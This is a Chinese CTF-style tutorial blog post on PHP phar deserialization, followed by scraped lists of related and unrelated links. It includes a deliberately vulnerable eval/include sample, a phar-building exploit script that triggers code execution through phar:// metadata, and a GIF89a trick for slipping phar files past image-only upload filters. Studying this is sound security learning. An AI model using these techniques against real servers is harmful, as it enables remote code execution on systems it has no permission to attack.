前言

phar反序列化来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式。或许有人对phar的理解只停留在phar://协议中甚至连phar协议都没有听过,至少在了解phar反序列化之前我就是这样的。这篇讲phar反序列化,那么肯定有人会猜有unserialize()函数的出现,但是要告诉你-----no!!不会有这个反序列化函数出现的甚至也不需要序列化函数serialize(),那么为啥要叫它phar反序列化呢?这就和phar://协议以及phar文件的打包机制有关!!

认识phar

phar是什么?简单来说就是把php压缩而成的打包文件,无需解压,可以通过phar://协议直接读取内容,如果学过java的朋友应该知道jar文件,和那个可以说是很像了。为什么可以在序列化和反序列化的点上利用?这和phar中的meta-data有很大的关系,meta-data 是以序列化的形式存储的,那么,如果当phar文件以流的形式被打开会进行一次反序列化,简单来说就是phar://协议会触发反序列化。这个后面慢慢说,一个phar文件的结构有四个部分:

1.stub: phar文件的标识,以xxxxx<?php xxx; __HALT_COMPILER();?>为固定格式,前面的可以不管,但是必须得以__HALT_COMPLIER();结尾phar文件扩展是通过这个识别phar文件,与gif图片格式中的GIF89a开头的固定格式是相同的道理。

2. a manifest describing the contents:Phar文件中被压缩的文件的一些信息以及压缩文件的权限,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点,我们构造的exp就放在这个部分内。

3.the file contents:这里放的是压缩文件内的内容,我们真正的目的是构造exp利用phar反序列化,所以这里的内容可以随便写,并不影响。

4.a signature for verifying Phar integrity:签名。放在最末,算是一个匹配符,将前面除了签名用SHA1MD5SHA256加密所有的内容后来匹配(可以百度了解更多)。在这里可能用不上,但是在phar反序列化配上GC回收机制的时候这个点会派上大用场。

做个demo

做个demo就会很明了了。

这里要修改一个配置文件,把php.ini配置文件中的phar.readonly设置为off,记得把前面的分号删除,那是注释。

<?php
highlight_file(__FILE__);
class Test{public $name='errorr0';
}
$a = new Test();
$phar = new Phar("errorr0.phar");  //生成一个phar文件,名字任意这里是errorr0,后缀名必须为phar
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar -> setMetadata($a); //将创建的对象a写入到Metadata中
$phar -> addFromString("test.txt","hello,phar!!"); //添加压缩文件 文件名为test,文件内容为hello,phar!!
$phar -> stopBuffering();
?>

startBuffering()stopBuffering()其实不用太在意他俩的作用

大概了解一下就ok,不用太过纠结其深沉的含义。

不晓得为啥,在本机测试报错,以下实验全部是在服务器上做的。

可以看到,生成了一个名为errorr0.phar的文件,看看内容:

亮点出来了,被序列化了,而且可以发现前面的代码是没有serialize()函数的,虽然我知道结果但是还是想说,太妙了!

做个简单题

既然知道如何生成phar文件,那做phar题这块就可以拿捏,先看看题。

拿个简单的练练手。

index.php
<?php
highlight_file(__FILE__);
error_reporting(0);class Test{public $rce;public function __destruct(){eval($this -> rce);}
}
$filename = $_GET['file'];
include($filename);
?>

粗一看,不就是一个rce嘛,咋就做个exp

test.php(exp):
<?php
class Test{public $rce = "phpinfo();";
}$a = new Test();$phar = new Phar("test.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","hello my dear!");
$phar -> stopBuffering();?>

格式大概一直是这样的,这里在服务器测试

phar文件已近生成,然后将phar文件放在index.php文件目录下,一般ctf可以upload之类的,要么就是目录穿越。这里我就直接生成在index.php的目录下了。再利用phar://协议读取phar文件内的test.txt文件在此过程中会对phar文件的meta-data进行一次反序列化,结果如下:

总结

其实还是有更难的题目,但是又怕把文章篇幅写太长,所以就不写了,以后打比赛复现时我会标注出哪些是phar反序列化。上述文章大概就讲了如何构造phar文件,如何用phar://协议打开phar文件。这里有个小tips提一下,我前面说过,phar可能会出现在ctf的文件上传中,如果题目是白名单绕过,只能上传jpg、png、gif。这个时候应该怎么办呢?还记得我说过gif是以GIF89a开头的吧?所以解决方法就是,在setStubphar的标识时顺便加上一句GIF89a,再将生成的phar文件修改为JPG后缀,最后上传再用phar://协议就可以了。(可能有点啰嗦,但这真是干货)

参考文章:phar反序列化 - My_Dreams - 博客园

PHAR反序列化拓展操作总结 - FreeBuf网络安全行业门户

PHP之phar反序列化相关推荐

  1. thinkphp5 注入 反序列化写文件 phar反序列化

    原文出处: 红队攻击第3篇 thinkphp5框架 注入 反序列化写文件 phar反序列化 (qq.com) 1.SQL注入1 <?phpnamespace app\index\controll ...

  2. 【phar反序列化与GC回收机制的利用】

    认识phar phar是什么?简单来说就是把php压缩而成的打包文件,无需解压,可以通过phar://协议直接读取内容 ,大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,z ...

  3. PHP phar反序列化

    以题为例 进来后我们注册一个账户并登录 查看一下网页源代码发,并没有发现什么我们上传个文件看看能不能通过菜刀获取权限 发现并不能连接上.此时我们通过BP抓包看看能不能获取到有用的信息 发现一个file ...

  4. 文件上传与Phar反序列化的摩擦

    提示:文章yu写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.Phar是什么? 二.Phar压缩文件的组成 三.Phar伪协议 四.SWPU 2018[SimplePHP] 五 ...

  5. phar反序列化小结

    0x00 phar反序列化 phar反序列化即在文件系统函数(file_exists().is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反 ...

  6. 记一道CTF中的phar反序列化

    Author: takahashi 提要 最近这段时间恍恍惚惚有点不知道干嘛, 想着闲来无事不如去做两道CTF,于是有了此文.记录一下自己做题的思路过程以及遇到的一些问题, 有不对不足之处还望师傅们斧 ...

  7. PHP Phar反序列化总结

    文章首发于Freebuf https://www.freebuf.com/articles/web/291992.html 利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性, ...

  8. php phar 混淆,深入理解PHP Phar反序列化漏洞原理及利用方法(一)

    Phar反序列化漏洞是一种较新的攻击向量,用于针对面向对象的PHP应用程序执行代码重用攻击,该攻击方式在Black Hat 2018会议上由安全研究员Sam Thomas公开披露.类似于对编译二进制文 ...

  9. 【Web安全】从xxe到phar反序列化

    **重要:**在 PHP 里面解析 xml 用的是 libxml,当 libxml 的版本大于 2.9.0 的时候默认是禁止解析 xml 外部实体内容的. 以下代码存在 xxe 漏洞. xml.php ...

最新文章

  1. 一机玩转docker之十:创建及使用ssh镜像
  2. python的print换行
  3. 1.spring:helloword/注入/CDATA使用/其他Bean/null级联/p命名空间
  4. JavaScript原生的节点操作
  5. 抽象的(abstract)方法是否可同时是静态的(static), 是否可同时是本地方法 (native),是否可同时被 synchronized
  6. C#反射使用方法过程及步骤
  7. 设计师不用下课了吧?小米突然官宣性价比之王旗舰:升降式摄像头
  8. 购买物品_1美元能买些啥?盘点1美元在10个不同的国家所能购买的物品
  9. 一个更好的C++序列化/反序列化库Kapok
  10. 2021-06-23元素的排列,浮动和display
  11. 步步为营:因为数据库正在使用,所以无法获得对数据库的独占访问权
  12. STM32 易阅读的代码风格
  13. unity功能开发——好友系统
  14. 概率图模型(PGM):贝叶斯网(Bayesian network)初探
  15. 阿里云短信验证码平台使用demo
  16. 5GC 网元AMF、SMF、UPF、PCF、UDM等介绍
  17. 中国科技大学计算机系导师,中国科学技术大学
  18. 语音识别第4讲:语音特征参数MFCC
  19. JIAR安装报错IRA Startup Failed
  20. 计算机因特尔网络论文,电子商务课Intel未来教育理念论文

热门文章

  1. coo_matrix函数
  2. linux系统禁用ssh,怎么在Linux系统中禁用 SSH
  3. ai绘画生成器app可以帮助新手小白轻松创作
  4. HLSL中mul()函数的解释
  5. CSS---idclass选择器
  6. select标签实现文字居中
  7. 如何成为程序员高手(转)
  8. 企业上云后,如何安全管控云管理后台?
  9. 离散傅里叶级数DFS
  10. AGV小车助力阿里犀牛智造新工厂